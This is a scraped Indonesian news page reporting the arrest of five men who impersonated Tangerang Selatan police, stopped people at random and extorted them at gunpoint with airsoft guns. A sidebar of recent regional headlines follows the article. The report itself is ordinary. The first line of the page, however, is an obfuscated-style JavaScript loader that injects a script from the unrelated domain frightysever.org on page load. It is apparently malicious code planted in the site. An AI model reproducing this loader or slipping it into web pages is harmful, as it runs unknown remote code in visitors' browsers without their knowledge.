(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Hukum

5 Polisi Gadungan Dibekuk Usai Berkali-kali Memeras Warga


KANALKALIMANTAN.COM – Seolah tidak ada cara lain untuk mencari nafkah, kelima pemuda ini nekat menyamar sebagai anggota polisi dari Kepolisian Resort Tangerang Selatan dengan tujuan memeras masyarakat untuk kepentingan pribadi.

Aksi kelima polisi abal-abal tersebut diketahui di Graha Raya Bintaro. Saat itu Unit Reskrim Polsek Pondok Aren sedang melakukan patroli malam takbir pada pukul 03.00 dini hari, lalu ada laporan masyarakat terkait beberapa polisi dengan menggunakan mobil menyerupai mobil polisi dengan plat nomor di belakangnya 01, yang memberhentikan masyarakat.

Berbekal informasi tersebut, Kapolsek Pondok Aren bersama Kanit Reskrim mencari mobil yang dimaksud. Di Graha Raya ditemukan mobil tersebut sedang parkir dan dan dihampiri oleh petugas dan kemudian diperiksa.

Kapolres Tangsel AKBP Iman Setiawan menjelaskan, kelima polisi gadungan tersebut atas nama Doy, Ori, Azel, Bryan, dan Jos. Aksi mereka ternyata sudah berulangkali. Mereka pernah beroperasi di Jakarta Selatan sebanyak 3 kali dan Tangsel 2 kali.

“Ini sindikat polisi gadungan, mereka terorganisir dalam bentuk kelompok. Pembagian tugasnya jelas, mereka juga telah melakukan ini di beberapa tempat dan berulang dengan modus yang sama yaitu pemerasan terhadap masyarakat,” ujar Iman dalam keterangan pers di Makopolres Tangsel, Serpong, sebagaimana dilansir Bantennews.co.id -jaringan Suara.com-, Rabu (27/5/2020).

Dengan dalih sebagai petugas kepolisian, mereka mencari sasaran, mendapatkan sasaran, melakukan pemeriksaan sebagaimana seorang anggota polisi kemudian mengamankan masyarakat, melakukan pengancaman hendak menembak kaki warga, kemudian melakukan pemerasan.

“Mereka bukan merupakan anggota Polri, kemudian juga sarana prasarana yang digunakan baik kendaraan, senjata api, peralatan yang digunakan memeras bukan merupakan milik dinas atau milik dari Polres Tangsel,” terang Iman.

Pada saat ditangkap, kelimanya sempat melawan dengan mengaku anggota kepolisian. Bahkan salah satu tersangka mengaku lulusan Akpol dan mengancam petugas dengan menggunakan senjata air soft gun.

“Melihat perilaku dan sikap mereka dan atribut yang digunakan tidak sesuai, kemudian langsung dilakukan penangkapan dan diperiksa. Ternyata kelima pemuda tersebut bukan merupakan anggota polri karena tidak dapat menunjukkan kartu tanda anggota. Kemudian senjata api yang ada pada mereka ternyata itu air soft gun,” ujarnya.

Sementara untuk menentukan target, kelima polisi gadungan itu menggunakan metode random, dengan berputar menyalakan rotator, menggunakan kendaraan mirip polisi. Pada saat ada masyarakat di tepi jalan kemudian diperiksa seakan-akan warga melakukan tindak pelanggaran seperti lalu lintas atau tidak mempunyai dokumen kendaraan. Biasanya mereka memasukkan narkoba. Kemudian masyarakat diancam menggunakan air soft gun dan diperas.

“Jadi pada saat dilakukan penangkapan itu, korban yang mereka ambil itu masih berada di dalam mobil. Jadi kehadiran anggota kami menyelamatkan korban pada saat itu,” paparnya.

Iman meminta kepada masyarakat yang pernah diperas oleh polisi gadungan tersebut agar segera melapor ke Polres Tangsel atau Polsek Pondok Aren untuk ditindaklanjuti.

“Kelimanya kemudian diperiksa di Polsek Pondok Aren. Mereka dikenakan pasal 368 KUHP yaitu perampasan dan pengancaman dengan ancaman hukuman 9 tahun,” tandasnya. (suara.com)

Reporter : suara.com
Editor : kk

 


Al Ghifari

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

6 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

6 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

6 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

6 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

6 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

6 bulan ago

This website uses cookies.